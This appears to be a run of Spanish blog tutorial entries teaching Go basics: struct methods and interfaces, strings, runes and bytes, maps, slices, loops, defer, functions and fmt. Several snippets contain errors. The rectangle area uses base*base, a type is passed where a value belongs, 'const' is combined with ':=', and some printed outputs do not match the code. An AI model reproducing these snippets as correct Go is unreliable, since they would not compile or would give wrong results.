En el interior de la función, los campos del struct estarán disponibles usando punteros, lo pasamos dentro del parentesis con el caracter de desestructuración.

func (myStructVariable *Videogame) IncreaseYear(){
    myStructVariable.Year = myStructVariable.Year + 1
}

Y una vez declarado este “método”, podemos llamar al método que creamos a través de una instancia del struct. Nota como no recibe ningún argumento sino que se comporta como un método.

videogame.IncreaseYear()

Personalizar el print de un struct en go

Si declaramos una función para personalizar el output en consola llamada String, reemplazaremos lo que devuelve el struct cuando lo imprimimos.

Piensa en esto como cuando reemplazas el método str en Python.

Nota la ausencia del operador de desestructuración en el parentesis en el primer set de paréntesis y como uso el método Sprintf del paquete fmt de go para devolver un string.

func (myStructVariable Videogame) String() string { 
    return fmt.Sprintf("Titulo: %s, Año: %d", myStructVariable.Title, myStructVariable.Year) 
}

Ahora cada vez que se imprimamos un struct obtendremos una cadena de texto con la sintaxis que declaramos.

fmt.Println(myVideogame)
// Titulo: Nier, Año: 2017

Constructores en go

Go no tiene un mecanismo similar a los constructores de otros lenguajes orientados a objetos. Empero, es bastante común crear una función que los emule, devuelviendo un objeto ya inicializado con los parámetros que querramos aplicar.

func NewVideogame(year int, title string) *Videogame {
    return &Videogame{
        Title: title,
        Year: year,     
    }
}

Esta copia de un constructor es capaz de crear instancias de nuestro struct Videogame.

nier := NewVideogame(2017, "Nier")
fmt.Println(*nier)
// {Nier 2017}

Herencia en structs en Golang

Go no cuenta con una palabra para declarar herencia en los structs, sin embargo sí tiene algo parecido. Para que un struct en go posea todos los campos que declara otro struct, le pasamos este último como un campo anónimo.

Extender un struct en Golang

Si quieres extender un struct, puedes agregar los structs que desees como parte del struct. Sin embargo considera que Go no tiene herencia, sino composición.

type Person struct {
    Name string
    Lastname string
}

type Professor struct {
    Person
}

Go no tiene herencia, sino composición

Go sigue la máxima de composición sobre herencia o composition over inheritance (en inglés) .

Por lo que cuando tu agregues el nuevo struct, no estarás realizando herencia, sino que estarás agregando un nuevo struct al struct original. Por lo que para acceder a los campos de este, primero necesitas acceder al struct que agregaste.

Professor.Person.Name

Polimorfismo usando interfaces en go

Puedes pensar en una interfaz como una especie de “plano” o “blueprint” que le dice a un objeto que funciones debe implementar para funcionar, cada objeto puede implementar esas funciones como quiera, pero debe implementarlas forzosamente.

Por ejemplo: Piensa en una abstracción que representa en piezas de rompecabezas, necesitamos una pieza de rompecabezas que tenga dos apendices, que guarden un ángulo de 45° entre ellos, no nos interesa el resto de lados de la pieza de rompecabezas, solo que contenga esas dos características, mientras tenga estas dos características cumplirá la interfaz, la forma del resto de la pieza nos es indiferente.

Mientras el ente pueda respirar, satisface la interfaz.

¿Para que sirve una interfaz en Go?

Basándonos en lo anterior, en Go las interfaces son un método para diferenciar el comportamiento de diferentes objetos. Una interfaz se encargará de llamar al método que le especificamos correspondiente a su tipo de struct.

Mira como la interfaz declara que el type figuras4Lados tiene un método llamada area que devuelve un resultado de tipo float64.

type figuras4Lados interface{
    area() float64
}

A continuación declaramos un método llamado area diferente tanto para el struct cuadrado como para el struct rectangulo, igual que hicimos en la sección “Composición y structs” de esta misma entrada.

type rectangulo struct {
    base float64
    altura float64
}

type cuadrado struct {
    base float64
    altura float64
}

func (c cuadrado) area() float64 {
    return c.base * c.base 
}

func (r rectangulo) area() float64 {
    return r.base * r.base 
}

Ahora crearemos una función que recibirá como argumento cualquier type figura4Lados, y ejecutará su respectivo método area.

¿Para que sirve una interfaz en Go?

Aquí hay que poner enfasis especial, observa como el argumento que le pasemos a la función es la interfaz que creamos, no nos interesa que tipo de struct estamos pasándole como argumento, lo único que nos interesa es que este argumento satisfaga a la interfaz.

De nuevo. No nos importa cómo esté construido el struct, el único requisito para que funcione en nuestra función es que DEBE satisfacer la interfaz.

En este caso la interfaz es figura4Lados, y por ende debemos asegurarnos que lo que sea que le pasemos tenga un método llamado area que retorne un float64.

Cuando utilizamos interfaces podemos garantizar que el código funciona a un nivel superior, y podemos dejar los detalles del funcionamiento a bajo nivel a su respectivo objeto, podemos sustituir la implementación de la interfaz siempre que satisfaga las características que define la interfaz.

type figuras4Lados interface{
    area() float64
}

// ...

func calcular (f figuras4Lados) {
    fmt.Println("Area", f.area())
}

Para llamar al método respectivo solo llamamos la función pasándole una instancia del struct como argumento.

miCuadrado := cuadrado{base: 2}
calcular(cuadrado)
miRectangulo := rectangulo{base:2, altura: 4}
calcular(miRectangulo)
// Area 4
// Area 8

Seguramente si vienes de otros lenguajes te parecerá bastante caprichosa la sintaxis de Go, pero estoy seguro de que la estarás dominando en muy poco tiempo, si yo lo hice para ti será pan comido.

Go: strings, runes y bytes

Tue, 28 Dec 2021 00:00:00 +0000

En esta entrada voy a explicar lo básico del funcionamiento de strings, runes y bytes en go, y hasta un poquito de utf-8.

Para explicar el tema voy a dar por hecho que sabes lo básico de slices y tipos de datos en go, si no sabes sobre estos temas visita mi entrada de array, slices en golang .

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

Un poquito sobre convenciones

Como seguramente ya sabes, las computadoras solo almacenan números. Las letras que ves en pantalla son una representación de esos números.

Entonces, ¿cómo sabe la computadora que número corresponde a cada letra? Pues un montón de personas se reunieron y acordaron asignarle un número a cada carácter. Por supuesto que esos acuerdos no son universales y hay múltiples variantes sobre que números corresponden a cada letra, entre ellas ASCII, UTF-8, UTF-16, UTF-32 y otras menos comunes. Es decir, un número puede representar el carácter “人” en una convención, pero a lo mejor representa otro en otra convención, por detrás son solo números.

Este tema es bastante extenso y ya hay suficiente información en internet, por lo que solo quédate con que detrás de cada carácter hay un número que la representa y que ese carácter depende de la tabla que usemos para representarlo.

Tabla ASCII con colores modificados tomada de wikimedia .

Sabiendo lo anterior, vayamos al tipo de dato byte.

Bytes en go

Un byte en go es sinónimo de un uint8, un unsigned int8. En otras palabras, 8 bits que podemos asignar de manera directa a diferentes notaciones. El hecho de que sea un tipo de dato uint8 nos permite usar cualquier número entre 0 y 255.

var ch byte = 65 // decimal
var ch1 byte = 0b1000001 // Binaria
var ch2 byte = 0o101      // Octadecimal
var ch3 byte = 0X41       // hexadecimal

Así como podemos guardar un número, también podemos guardar la representación numérica de un carácter, envolviéndolo en comillas sencillas.

Es como decirle a go: “Guarda el valor número al que corresponde este caracter”. Al imprimirlo nos devolverá el número, en notación decimal.

var ch byte = 'A'
fmt.Println(ch)
// 65

Si realizamos un tipo de conversión a string, usando el convertidor a tipo string, obtendremos la letra “A”.

fmt.Println(string(ch))
// 'A'

Representación de la letra ‘A’ en notación decimal. El cuadrado representa un byte u 8 bits.

Array de bytes

Así como tenemos el tipo de dato byte, también podemos crear un array de bytes y de múltiples maneras. Observa como el array queda guardado con el número que corresponde a cada carácter.

// Instanciado directamente de un string
t1 := []byte("ABCDE")

// Como si fuera un array de caracteres
t2 := []byte{'A', 'B', 'C', 'D', 'E'}

// como si fuera un array de números ord()
t3 := []byte{65, 66, 67, 68, 69}

// Con la función copy
var t4 = make([]byte, 5)
copy(t4, "ABCDE")

// En todos los casos obtenemos:
//[65 66 67 68 69]

Convirtiendo un array de bytes en un string

¿Te acuerdas que te dije que cada número representa un carácter? Pues podemos transformar una secuencia de bytes en un string. Para eso usamos la función string, y le pasamos nuestro array de bytes.

t3 := []byte{65, 66, 67, 68, 69}
fmt.Println(string(t1))
// ABCDE

Runes en go

Las runes o runas son un alias para el tipo int32. Es el tipo de variable por defecto cuando defines un carácter, utilizamos comillas sencillas para declararlo. Si no especificas byte u otro tipo de dato, go dará por sentado que se trata de una rune.

var runa rune = 65
fmt.Printf("type:%T, value:%v\n", runa, runa)
// type:int32, value:65

Sin embargo, probablemente usarás las runas la mayor parte del tiempo para guardar caracteres, no números.

var runa rune = '人'
fmt.Printf("type:%T, value:%v\n", runa, runa)
// type:int32, value:20154

Aprecia como el tipo sigue siendo el mismo, pero su valor ahora es 20154, pues al ser un int32 tenemos acceso hasta 2³¹-1 (recuerda que un bit se usa para el signo positivo o negativo).

Representación del caracter ‘人’ en notación decimal. El cuadrado representa un 32 bits.

Array de runes

De la misma manera que creamos un array de bytes modificable, podemos crear un array de runes, el cual es, para fines prácticos, un array de int32, que podemos representar por medio de caracteres.

rune, con paréntesis, es una conversión de tipo, de string a rune. Observa como al final tenemos un array de int32

arrayRunas := []rune("Jello, ")
arrayRunas[0] = 'H'
arrayRunas = append(arrayRunas, '世', '!')
fmt.Println(arrayRunas)
// [72 101 108 108 111 44 32 19990 33]

Igual que hicimos anteriormente, podemos transformar esos números en un string usando la función string.

fmt.Println(string(arrayRunas))
// Hello, 世!

Strings en go

Un string es un slice de bytes de solo lectura, no modificable, se declara usando comillas dobles.
Cada índice del slice de un array se refiere a un byte. Señalar esto es importante, porque si iteramos sobre un string, vamos a obtener una cantidad diferente de bytes a los caracteres que forman nuestro string.

¿Cómo? A primera vista podríamos pensar que nuestro string tiene una longitud de 9 (y que por ende tendrá 9 bytes), que es la cantidad de runas o caracteres que tiene. Sin embargo, si medimos la longitud de nuestro string con la función len, obtendremos la cantidad 23, que se refiere a la cantidad de bytes que ocupa.

s := "ID彼氏彼女の事情"
fmt.Println(len(s))
// 23

Al momento de iterar sobre nuestro string, estaremos iterando byte por byte, por lo que imprimiremos 23 bytes, cada byte expresado en notación octadecimal.

s := "ID彼氏彼女の事情"
for i := 0; i < len(s); i++ {
    fmt.Printf("%x ", s[i])   
}
// 49 44 e5 bd bc e6 b0 8f e5 bd bc e5 a5 b3 e3 81 ae e4 ba 8b e6 83 85

¿Pero que pasa si queremos obtener cada runa o carácter en lugar de los bytes? range nos permite eso, se encarga de iterar runa por runa, decodificando el carácter correspondiente.

for index, runeValue := range s {
    fmt.Printf("%#U empieza en el byte de posición %d\n", runeValue, index)
}
//U+0049 'I' starts at byte position 0
//U+0044 'D' starts at byte position 1
//U+5F7C '彼' starts at byte position 2
//U+6C0F '氏' starts at byte position 5
//U+5F7C '彼' starts at byte position 8
//U+5973 '女' starts at byte position 11
//U+306E 'の' starts at byte position 14
//U+4E8B '事' starts at byte position 17
//U+60C5 '情' starts at byte position 20

Resumen del paquete strings en Go

Go cuenta con un paqueteen su librería estándar para manejar strings, con múltiples métodos. Aquí dejo algunos de los más importantes:

func Contains(s, substr string) bool Revisa si una cadena de texto se encuentra en otra.
func Count(s, substr string) int Cuenta las ocurrencias de una cadena de texto en otra.
func HasPrefix(s, prefix string) bool Revisa si un string empieza un string
func HasSuffix(s, suffix string) bool Revisa si un string termina con otro string
func Join(elems []string, sep string) string Une todos los elementos de una lista en un string, usando un separador entre cada par de elementos
func Split(s, sep string) []string Separa un string en una lista por un separador que le indiquemos
func Index(s, substr string) int Devuelve el índice de una cadena de texto en otra
func Replace(s, old, new string, n int) string Reemplaza la primera ocurrencia de una cadena de texto por otra
func ReplaceAll(s, old, new string) string Reemplaza todas las ocurrencias de una cadena de texto por otra
func ToLower(s string) string Convierte en minúsculas
func ToUpper(s string) string Convierte en mayúsculas
func Trim(s, cutset string) string Remueve los espacios al principio y al final

Revisa las funciones completas en la documentación de strings en go .

Resumen del paquete strconv en Go

También existe un paquete que nos permite convertir strings en otros tipos de datos:

func Atoi(s string) (int, error) convierte un string en un entero
func Itoa(i int) string convierte un número entero en un string
func ParseInt(s string, base int, bitSize int) (i int64, err error) Convierte una representación en string de un número en cierta base a un entero.
func ParseBool(str string) (bool, error) Convierte 1, t, T, TRUE, true, True en True o 0, f, F, FALSE, false, False en False
func ParseFloat(s string, bitSize int) (float64, error) para convertir en un string en un flotante

Mira el resto de funciones en la documentación de strconv en go.

Go: maps o diccionarios

Tue, 21 Dec 2021 00:00:00 +0000

En el lenguaje de programación go, un map o hash table es el equivalente de un diccionario; poseen una llave o key que se relaciona con un valor o value. La llave y el valor pueden ser de diferentes tipos de datos, pero todas las llaves deben ser de un solo tipo y todos los valores deben ser del mismo tipo.

Junto con el array y el slice de go , un map es una estructura que nos sirve como una colección de valores.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

Funcionamiento interno de un map en go

Implementación actual de Go: Swiss-tables

Go 1.24 reemplazó su implementación de maps, ahora utiliza Swiss-tables , que actualmente son usadas en Rust. Swiss-tables proporciona un incremento en la velocidad en comparación con su implementación anterior, y también mejora:

Búsquedas lentas debido a buckets desbordados cuando se añadían entradas extra.
Mayor uso de memoria debido a buckets desbordados que requieren espacio extra.
Sobrecarga debida al rehashing al redimensionar los maps.

Si los hashmaps de go no te dan el rendimiento que necesitas, quizás puedas considerar usar un Bloom Filter

Implementación anterior de Go: Buckets

En Go un map funciona bastante similar a como lo haría en cualquier otro lenguaje. En Go hay buckets, un tipo de sección que consisten en 8 pares de llave-valor. La función hash (hash function) recibe la llave y nos redirige al bucket adecuado, es decir, el espacio de 9 pares de llave-valor donde se encuentra la nuestra y, una vez ahí, se busca la llave correcta.

Funcionamiento interno de un map en go. La información está tomada de la documentación oficial de un map.

Crear un map en go

Para declarar un map, usamos la palabra map y encerramos en corchetes el tipo de dato de la llave, seguido del tipo de dato del valor.

var diccionario map[string]int
// un map con llaves tipo string y valores de tipo entero
diccionario["hello"] = 0
diccionario["panic"] = 1
fmt.Println(diccionario)

//❌❌❌ panic: assignment to entry in nil map

Sin embargo si ejecutamos lo anterior nos dará un error. ¿Por qué? Es importante que sepas que los maps son referencias, apuntan a una ubicación de memoria, como creamos un map vacío pues apunta a la nada, a nil, por lo que si intentamos modificarlo, nos dará un error.

Igual que con el slice, tenemos dos maneras de crear un map o diccionario.

Pasándole los valores después del tipo de dato del valor
Usando la función make.

Crear un map en go con valores

Podemos crear un map o diccionario usando map, el tipo de dato de las llaves entre corchetes, seguido del tipo de dato de los valores y luego los datos llave valor entre corchetes, separando cada uno con dos puntos.

Las llaves del map pueden modificarse e incluso se pueden agregar nuevas.

var cuenta = map[string]int{
        "Paloma": 100,
        "Renee": 200,
        "Kakuro": 300,
        "Manuela": 400,
}
cuenta["Paloma"] = 500
cuenta["Colombe"] = 900

También podemos dejar que go infiera que es un map, pero solo dentro de una función, usando el operador walrus “:=”.

cuenta := map[string]int{
        "Paloma": 100,
        "Renee": 200,
        "Kakuro": 300,
        "Manuela": 400,
}
cuenta["Paloma"] = 500
cuenta["Colombe"] = 900

Crear un map con make

Para crear un map asignando memoria necesitamos usar la función make y especificar el tipo de datos que tendrán las llaves y los valores tras la palabra map.

En este caso no tenemos que pasarle a make el argumento de la longitud del map. Si omitimos el tamaño del map, internamente, go le asignará un valor pequeño.

var diccionario = make(map[string]int)
diccionario["hello"] = 2
diccionario["world"] = 1
fmt.Println(diccionario)
// map[hello:2 world:1]

¡Ahora mira esto! Tenemos un map o diccionario con solo dos llaves, mira que pasa si accedemos a una tercera.

fmt.Println(saldo["usuario"])
// 0
// ¿Cómo distinguimos si el usuario no existe o si tiene un saldo igual a 0

Si intentamos acceder a una llave que no existe, go nos devolverá su respectivo zero value, pero esto nos lleva a un problema: ¿cómo distinguimos si tenemos un cero porque la llave no existe o porque el valor de nuestra llave es cero?

Distinguir entre valores inexistentes y zero values

Para distinguir entre un zero value, go nos provee de un segundo valor de retorno, que nos indica si existe una llave. Este segundo valor es un booleano: true o false.

value, exist := diccionario["Inexistente"]

Capacidad opcional en maps

Para establecer una capacidad máxima de llaves en un map, le pasamos la longitud del map como segundo argumento.

m := make(map[string]int,99)

Sin embargo, a diferencia de los slices, esta longitud solo le indica al compilador que asigne un mínimo de memoria, si agregamos más llaves del valor máximo se seguirán añadiendo, aunque no tan eficientemente.

Borrar llaves con delete

Si queremos deshacernos de una llave de nuestro map, usamos la función delete, la cual borra una llave de un map o diccionario.

delete(diccionario, "Helio")

Recorrer un map con range

Al igual que con un un array o un slice, podemos recorrer un map usando range. Cada iteración nos devolverá la llave y el valor.

Recuerda que, al ser un map, los elementos se retornarán sin ningún orden en particular.

for key, value := range diccionario {
        fmt.Println(key,value)
    }

Con esto doy por terminada la entrada, es lo mínimo que se debe saber sobre los maps o diccionarios en go.

Go: slices y arrays

Tue, 14 Dec 2021 00:00:00 +0000

En go o golang los slices, los arrays y los maps son estructuras para manejar colecciones de datos. En esta entrada voy a hablar de los dos primeros: slices y arrays.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

Arrays en go

Los arrays son colecciones de datos inmutables, para crear un array necesitamos definir su tamaño y el tipo de dato que contendrá, una vez declarado no se puede modificar.

var array [4]int

En el ejemplo anterior, tenemos un array con espacio para 4 enteros. Los valores que no asignemos se asignarán como zero values.

Asignar valores a un array

Para asignar valores a un array, previamente declarado, utilizamos su índice.

array[1] = 1
// [0, 1, 0, 0]

También podemos crear un array directamente dentro de una función colocando cada elemento del array entre llaves, separados por comas.

array := [4]int{0, 0, 0, 0}

Slices en go

Los slices son colecciones mutables de tipos de datos. Internamente, un slice es una abstracción de un array, con la diferencia de que pueden modificarse.

Sin embargo, al declarar un slice, y luego intentar modificar uno de sus índices, justo como haríamos con un array, tendremos un error. ¿Por qué? Porque un slice es una referencia, y al crearse vacío, estamos apuntando a la nada, a nil.

var slice []int
slice[0] = 1
// panic: runtime error: index out of range [0] with length 0

Estructura interna de un slice en Go

Como mencioné, un slice es un struct con un apuntador al verdadero array. Además del pointer o apuntador, cuenta con| la propiedad llamada cap y len, que se refieren a la capacidad y longitud del array, respectivamente.

Un apuntador del slice dirige a los datos que contiene

Para crear un slice no vacío tenemos dos maneras de hacerlo:

Asignar memoria con la función make.
Declararlo directamente pasándole el contenido después del tipo de dato del slice

Crear un slice con make

La función make asigna memoria e inicializa un objeto del tipo slice, map o chan y lo retorna. Si usamos make, es necesario pasarle la longitud del slice como segundo argumento.

var slice = make([]int, 4)
slice[0] = 1
fmt.Println(slice)
// [1,0,0,0]

Considera que si intentamos añadir un elemento más allá de la capacidad que definimos obtendremos un error.

slice[4] = 4
// panic: runtime error: index out of range [4] with length 4

Para más detalles revisa la documentación de la función make .

Creando slices con valores

Además de usando make, es posible crear un slice en un solo paso, pasándole el contenido directamente, colocando entre llaves los elementos del slice, separados por comas.

Observa como no especificamos el tamaño del slice.

var slice = []int{0, 1, 2, 3, 4}

También es posible dejar que go detecte automáticamente que se trata de un slice usando el operador walrus “:=”. Recuerda que esto solo posible dentro de una función

slice := []int{0, 1, 2, 3, 4}

Particionar slices

Los slices pueden partirse en un estilo similar al de Python, especificando una posición incluyente para el primer dígito y excluyente para el segundo.

slice[2:] // {2, 3, 4}
slice[:2] // {0, 1}
slice[2:3]// { 2 }

Si no especificamos uno de los dos, tomará la primera posición para el primer dígito y la última para el segundo dígito.

Extender un slice en Go

Los slices son mutables, pueden extenderse usando la función append, la cual recibe cualquier número de elementos, separados por comas.

sliceExtendido := append(slice, 5)
// [1 2 3 4 6 5]
otroSliceExtendido := append(sliceExtendido, 6, 7, 8)
// [1 2 3 4 6 5 6 7 8]

Es posible crear un nuevo slice a partir de la desestructuración de un slice. La desestructuración se lleva a cabo poniendo tres puntos (…) al final del slice.

nuevoSlice :=[]int{9, 10}
// [8 9]
sliceHastaDiez = append(nuevoSlice, otroSliceExtendido...)
// [1 2 3 4 6 5 6 7 8 9 10]

Recorrer o iterar array y slices con range

Parecido a la sintaxis de Python, podemos recorrer un array, un slice o un map (hablaré de los maps en la siguiente entrada) usando range. Cada iteración nos devolverá el índice y el elemento del array o slice, o la llave y el valor en el caso de maps.

Aquí iteramos sobre un array, aprecia como estamos declarando el tamaño de antemano.

var array [2]string
	array[0] = "Nier"
	array[1] = "Hollow knight"
	for index, videojuego := range array {
		fmt.Println(index, videojuego)
	}

En el caso de un slice, observa como no especificamos un tamaño entre los corchetes.

list := []int{0, 1, 2, 3, 4, 5}
	for i, n := range list {
		fmt.Println(i, n)
	}

¿Cómo convertir un array en un slice en Go?

Para convertir un array en un slice podemos usar la notación [:].

newArray := mySlice[:]

Con esto termino de platicarte lo más básico de slices y arrays en Go. Para la siguiente entrada voy a hablar de los maps en Go.

Go: ciclos for, break, continue, defer, if y else

Tue, 07 Dec 2021 00:00:00 +0000

Esta entrada tratará sobre los bucles en el lenguaje de programación go.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

Go maneja los bucles un poco diferente a lo que estás acostumbrado. Si ya dominas algún otro lenguaje de programación, probablemente recuerdes que hay bucles while, do while y for. Y si vienes de Python o Javascript, recordarás lo útil que son los bucles for x in o for x of

Bien, pues en el lenguaje de programación go no existen más que los bucles for. Sí, no hay while ni do while. ¿Pero entonces como hago para usar el resto de los bucles? Sigue leyendo y te explico, empezaré por explicar if y else y posteriormente los bucles.

Si no sabes nada sobre Go y quieres empezar por lo básico visita mi entrada Golang: introducción, variables y tipos de datos .

Si actualmente usas Python y quieres ver como es diferente de Go, visita mi entrada de python vs go .

If y else

If y else te permiten ejecutar bloques de código de manera condicional y guardan la misma sintaxis que en casi todos los lenguajes.

if true {
	fmt.Println("Verdadero")
} else {
	fmt.Println("Falso")
}

else if

Y por supuesto que go también cuenta con un else if.

edad := 18
if edad < 18 {
	fmt.Println("Menor de edad")
} else if edad > 18 {
	fmt.Println("Mayor de edad")
} else {
	fmt.Println("Tiene 18 exactamente")
}

Tipos de bucles for en go

En go existen varios tipos de bucles for: con contador, con condicional, range y el infinito.

Diagrama de tipos de bucles for en Go o Golang

Bucles con contador en Go

Este es el clásico bucle que ya conoces de Javascript, C++, etc. En el que se declara una variable, se especifica una condición y se realizan cambios a la variables.

Declaramos “i” igual a 0, mientras “i” sea menor que 10, ejecuta el siguiente bloque y, posteriormente, incrementa “i” en uno, cada instrucción separada por un punto y coma.

for i:= 0; i < 10; i++ {
    // ...
}

Bucle con condicional o bucle while en Go

En este tipo de bucle se evalúa una condición, si el resultado es true, se ejecuta el bloque, si no, se brinca ese bloque de código.

Este tipo de bucle for sería el equivalente del bucle while en otros lenguajes de programación.

counter := 0
for counter < 10 {
    counter ++
}

Bucle con range en golang

Range nos permite recorrer una estructura iterable de principio a fin y nos permite acceder al respectivo índice y elemento. Es ideal para recorrer arrays, strings, slices, maps, channels y cualquier estructura que pueda recorrerse.

	HolaMundo := "Hola mundo"
	for index, letra := range HolaMundo {
		fmt.Printf("%d %c \n", index, letra)
	}
/*
0 H 
1 o 
2 l 
3 a 
4   
5 m 
6 u 
7 n 
8 d 
9 o*/

Bucle infinito

Un bucle for sin condición va a ejecutarse por siempre.

La única manera de salir de un bucle for infinito es con un break.

counterForever := 0
for {
    counterForever++
}

break

Como acabo de mencionar, break rompe un bucle y continua la ejecución del código.

counterForever := 0
for {
    counterForever++
    fmt.Println(counterForever)
    if counterForever > 5 {
        fmt.Println("Aquí se rompe el bucle")
        break
}
}
// 1
// 2
// 3
// 4
// 5
// 6
// Aquí se rompe el bucle

Break en bucles con nombre en go

En otros lenguajes de programación, como en Python, break rompería el bucle inmediato, es decir, el bucle inmediato en el que se encuentra. ¿No sería genial poder parar al bucle exterior desde el interior? En go es posible de manera sencilla

while True:
    while True:
        break
    fmt.Println("El bucle principal continua ejecutándose")
# El bucle principal continua ejecutándose
# El bucle principal continua ejecutándose
# El bucle principal continua ejecutándose

Go nos permite asignarle nombres a los bucles, ¿para qué? Para hacer referencia a bucles específicos y ser capaz de romperlos usando break. Mira este ejemplo:

loop:
	for {
		for {
			fmt.Println("Rompiendo el bucle externo")
			break loop
		}
		fmt.Println("Esto nunca se imprimirá en pantalla")
	}

Nombramos a nuestro bucle como loop y ahora ejecutamos un bucle infinito que tendrá un bucle infinito en su interior. Este último bucle va a romper el bucle externo, de nombre loop, por lo que la segunda sentencia nunca va a imprimirse en pantalla.

Como usar continue en Go

Continue detiene la iteración actual del bucle y continua su ejecución en la siguiente iteración.

counter := 0
for counter < 10 {
    counter ++
    if counter == 3 {
        fmt.Println("Nos brincamos el 3")
        continue
    }
    fmt.Println(counter)
}
//1
//2
//Nos brincamos el 3
//4

¿Qué hace defer en Go?

Defer retrasa la ejecución de una linea de código hasta el final. del código. Es bastante similar a lo que hace el atributo defer con etiqueta script de HTML.

	defer fmt.Println("Esto se va a ejecutar hasta el final")
	fmt.Println("Esto se va a ejecutar primero")
	fmt.Println("Esto se va a ejecutar después")
// Esto se va a ejecutar primero
// Esto se va a ejecutar después
// Y esto se va a ejecutar hasta el final

¿Y eso para qué? Pues es ideal para cerrar conexiones a base de datos, archivos o realizar algún tipo de limpieza a los objetos de nuestro código.

const conexionBaseDeDatos := abreBaseDeDatos()
defer cierraBaseDeDatos()
queryBaseDeDatos()
otraQuery()

Para la siguiente entrada de Go voy a hablar lo básico sobre slices, arrays y maps.

Recuerda que puedes visitar la documentación oficial de go si hay algo que desees profundizar.

Go: funciones, argumentos y el paquete fmt

Tue, 30 Nov 2021 00:00:00 +0000

Esta entrada tratará sobre la sintaxis básica de las funciones de Go. Si no sabes absolutamente nada de go visita mi entrada go: introducción al lenguaje de programación, variables y tipos de datos para empezar desde el principio de esta serie de tutoriales.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

Ahora sí, pasemos a las funciones.

Funciones en go

En go las funciones se declaran anteponiendo la palabra func al nombre de la función. De la siguiente manera:

func deleteRoot() { }

Recuerda que al ser un lenguaje compilado, go requiere que especifiques el tipo de dato en los argumentos.

func deleteRoot(argument int, secondArgument int) { }

Si los dos argumentos son del mismo tipo, podemos ahorrarnos una palabra omitiendo el primer tipo, en este caso int.

func deleteRoot(argument, secondArgument int) {}

Return en go

Como en casi todos los lenguajes usamos la palabra return en una función para retornar un valor.

Una función no requiere que retornes nada forzosamente, y no necesitas especificar un retorno, como si harías en C++ y otros lenguajes similares.

Por otro lado, si tu función sí cuenta con un return, requieres especificar el tipo de dato a retornar, colocándolo después de los argumentos.

func ReturnOne(argument, secondArgument int) int{
    return 1
}

Así mismo, podemos retornar dos valores, como si de una tupla se tratara.

func ReturnOneAndTwo(argument, secondArgument int) (int, int) {
    return 1, 2
}

Y, justo como en Python, es posible asignar esos dos valores a dos variables diferentes, separándolas por una coma.

a, b = ReturnOneAndTwo()

Retornar una función en go

En go las funciones “son ciudadanos de primera clase” por lo que, en go, las funciones pueden retornar funciones.

func returnFunction(argument, secondArgument int) func() {
    return func() {
        return 1
}

Y, como la función retorna una función podemos llamar a esta última dentro de cualquier otro bloque de la siguiente manera:

// El equivalente a a llamar a la función retornada
returnFunction()()

Return sin nombre

Go tiene una manera especial de devolver un valor de manera implícita, sin tener que colocarlo después de return.

func split(sum int) (x, y int) {
        // retornará x y x de manera implícita
        x = sum * 4 / 9
        y = sum - x
        return
    }

Esta sintaxis puede parecer un poco truculenta, pero realmente es muy sencilla. ¿Recuerdas que te dije que el tipo de dato que retorna una función va después de los argumentos? (x, y int) Pues aquí, además del tipo, especificamos que variables retornará y de que tipo, en caso de que no coloquemos nada después de return.

Básicamente le estamos diciendo a go: “oye, si no pongo nada después del return, retorna las variables “x” y “y”, que son de tipo int.

Funciones variádicas

En go, las funciones que reciben una cantidad variable de argumentos requieren que pases el nombre del argumento que la contendrán, seguida de puntos suspensivos y el tipo de dato.

func multiples(nums ...int) {
	fmt.Println(nums)
}

si llegaras a ejecutar la función verías que nos retorna un array.

multiples(1, 2, 3, 4, 5)
// [1 2 3 4 5]

Listo, con esto termina mi resumen de las funciones. Ahora pasemos a uno de los paquetes esenciales de go, el paquete fmt.

Paquete fmt

Este paquete es el que usarás normalmente para imprimir sentencias en pantalla y, ya puedo verlo en el futuro, el que usarás de manera incorrecta para debuggear.

Antes que nada te digo que fmt viene de format package y es el paquete que se encargará de darle formato a cualquier tipo de entrada o salida de dato. Con entrada y salida de dato, me refiero a lo que tus compañeros más oldies denominarían stdin y stdout en GNU/Linux .

Por cierto, fmt cuenta con soporte para caracteres especiales, por lo que puedes imprimir los subtítulos en el idioma original de tus animes favoritos.

Println

Si ya has trabajado con otros lenguajes de programación es tu clásica función print, echo, console.log o equivalente, con todo y su newline añadido al final.

Println es capaz de imprimir varios argumentos seguidos, incluso si son de diferente tipo.

import "fmt"
// ...
fmt.Println(1, "彼氏彼女の事情", nil)

Printf

Printf es como Println pero con operadores de posición que le dicen a go el tipo de dato que le estamos pasando. Sí, igualita a la función de C++

texto := "World!"
numero := 42
// %s es de string y %d de digit
fmt.Printf("Hello %s %d", texto, numero)

Tipos de operadores

¿Viste que usé los tipos de operadores %s y %d, para strings y dígitos, respectivamente? Pues en go hay múltiples tipos de operadores para muchísimos tipos de datos.

Hay algunos operadores de posición que yo considero destacables.

%T, tipo de dato (string, int, boolean, etc).
%v, valor en el formato predeterminado de go
%t, Para booleanos, retorna la palabra false o true
%x, número de base 16
%o, número de base 8
%e, número notación científica
%9.2f, flotante con ancho de 9 y precisión de 2
%.2f, flotante con ancho predeterminado y precisión de 2
%q un string o cadena de texto, entre comillas, previamente escapado

Puedes ver el resto de operadores en la documentación oficial de go.

Sprintf

Sprintf guarda la misma sintaxis que printf, pero con la diferencia de que no imprime en pantalla, sino que genera un string o cadena de texto.

var message string = fmt.Sprintf("Hello %s %d", texto, numero)

Pero ¿y si queremos obtener input de un usuario? Pues, igual que en C, contamos con la función scan.

Scan

Scan leerá el texto de la entrada estándar (stdin) hasta que encuentre el primer espacio o salto de linea y nos retornará el número de argumentos recibidos.

Si no sabes que significa el ampersand “&” puedes pensar en él como la dirección en memoria a la que corresponde la variable mensaje.

Si aún así no tienes tienes idea de que hablo, vas a tener que darle una investigada a los pointers o apuntadores. Hay muchísima información en internet disponible como para crear una nueva entrada.

var message string
fmt.Scan(&message)
fmt.Println(message)

